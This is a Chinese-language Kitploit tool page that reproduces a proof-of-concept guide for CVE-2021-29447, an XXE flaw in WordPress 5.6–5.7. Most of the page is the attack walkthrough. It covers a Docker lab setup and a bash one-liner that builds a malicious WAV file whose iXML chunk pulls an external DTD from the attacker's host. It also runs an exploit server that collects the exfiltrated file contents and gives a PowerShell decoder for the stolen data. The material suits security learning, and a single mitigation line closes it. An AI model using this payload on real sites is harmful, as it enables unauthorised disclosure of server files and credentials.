Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-29447-PoC — 针对CVE-2021-29447的概念验证漏洞利用代码,该漏洞是WordPress 5.6–5.7版本中通过恶意WAV文件上传导致的XXE注入漏洞,能够在PHP 8.0+上实现任意文件泄露。 | Kitploit
工具/GitHubGitHub/rdana55/cve-2021-29447-poc
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubrdana55/cve-2021-29447-poc

CVE-2021-29447-PoC

针对CVE-2021-29447的概念验证漏洞利用代码,该漏洞是WordPress 5.6–5.7版本中通过恶意WAV文件上传导致的XXE注入漏洞,能够在PHP 8.0+上实现任意文件泄露。

查看仓库
14个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-29447-PoC

概述

CVE-2021-29447 是一个 XML 外部实体(XXE)注入漏洞,影响运行在 PHP 8.0+ 环境下的 WordPress 版本 5.6–5.7(已在 5.7.1 中修复)。该漏洞存在于用于媒体元数据解析的 getID3 库中。

WordPress 通过 getID3 处理 WAV 文件的 iXML 块,该库使用 LIBXML_NOENT 标志调用 simplexml_load_string()。该标志显式启用了外部实体替换,从而绕过了 PHP 8 默认的 XXE 保护(已弃用的 libxml_disable_entity_loader())。

  1. 经认证的用户(作者及以上权限)上传恶意 WAV 文件
  2. getID3 → iXML 块 → simplexml_load_string(XXE_PAYLOAD, LIBXML_NOENT)
  3. 外部 DTD 获取 → PHP data:// 包装器 → 任意文件泄露

概念验证环境搭建

本 PoC 使用 Docker 化的 WordPress 5.7 + PHP 8.0.3 演示该漏洞。Linux 用户可使用单一文件脚本,该脚本也会生成 WAV/DTD 文件。

▶️:https://youtu.be/YnGowuWHFyY

前提条件与环境配置

  1. 在 Windows 主机上安装 Docker Desktop

  2. 创建专用项目目录(所有 PowerShell 命令在此目录中执行):

    root@kitploit:~
     #powershell
    mkdir cve-2021-29447-poc
     cd cve-2021-29447-poc
    
  3. 部署存在漏洞的 WordPress:

    root@kitploit:~
     #powershell
     notepad docker-compose.yml
    

    复制并粘贴 docker-compose.yml 的内容

  4. 启动容器:

    root@kitploit:~
     #powershell
     docker-compose up -d
    
  5. 禁用自动更新(对漏洞持久性至关重要):

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash
    
     #bash
     sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
    
     echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
     echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
    
     tail -5 /var/www/html/wp-config-sample.php
     exit
    
  6. 验证存在漏洞的版本:

    root@kitploit:~
     #powershell
     docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
    

    预期输出:WordPress 5.7, PHP 8.0+

  7. WordPress 安装:

    导航:http://localhost:8080

    管理员:test / test / [email protected]

    完成设置 → 访问 /wp-admin

  8. 攻击者 IP 发现:

    root@kitploit:~
     #powershell
     ipconfig | findstr IPv4
    

    记下你的 IP(例如 192.168.1.196)

利用载荷生成

  1. 创建 DTD 载荷:

    root@kitploit:~
     #powershell
     notepad evil.dtd
    

    复制并粘贴 evil.dtd 的内容

  2. 生成 WAV 载荷(Linux CLI):

    root@kitploit:~
    #bash
     echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
    

    通过 python3 -m http.server 8000 传输 → Windows 浏览器下载(例如 http://<VM_IP>:8000)

    注意:由于 Windows 环境中的二进制转义复杂性,WAV 文件需单独生成

  3. 部署利用服务器:

    root@kitploit:~
     #powershell
     notepad exploit.py
    

    复制并粘贴 exploit.py 的内容

    命令:

    root@kitploit:~
     #powershell
     python exploit.py -l YOUR_IP -p PORT 
    

利用过程

  1. 触发 XXE:

    http://localhost:8080/wp-admin → 媒体 → 添加新文件

    上传 payload.wav

  2. 监控 Python 服务器控制台 → 捕获外泄数据

  3. 解码 Base64+Zlib 载荷:

    root@kitploit:~
     #powershell
     $bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
    

缓解措施

升级到 WordPress 5.7.1+ 或在 getID3 解析中禁用 LIBXML_NOENT。

下载工具